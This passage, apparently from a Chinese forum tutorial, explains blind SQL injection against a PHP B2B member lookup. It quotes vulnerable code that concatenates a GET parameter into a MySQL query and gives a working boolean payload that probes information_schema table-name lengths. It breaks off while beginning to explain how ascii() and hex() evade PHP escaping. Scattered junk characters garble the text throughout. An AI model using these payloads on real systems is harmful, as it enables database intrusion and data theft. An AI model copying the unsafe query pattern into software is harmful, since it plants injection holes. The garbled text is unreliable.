select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1 * C3 S5 S; _, `/ X
/ {( |- q. x+ ~& }" m; }$ {复制代码 8 L( D. X8 N0 Q% l错误提示已经很明了了。我们看一下注入页面的代码(有删改):
$js_user = trim($_GET["js_user"]);
if($js_user){
$num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'% R- H# `2 y4 E& a0 m
: T" O( `( P7 l$ ? 复制代码 V* P& P. V! s1 k8 h
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。 8 u: c& |2 x7 w& f M* t2 @关于limit x,y 的用法,可以参考MySQL手册 E: U8 O, |( r2 |$ l. b
, p& [) e; s6 M* a! ?) `最后剩下的要说的就是ascii函数和hex函数了- f6 R$ K& y; W7 U V9 T
这两个函数的意义是避开php的GPC转义,例如: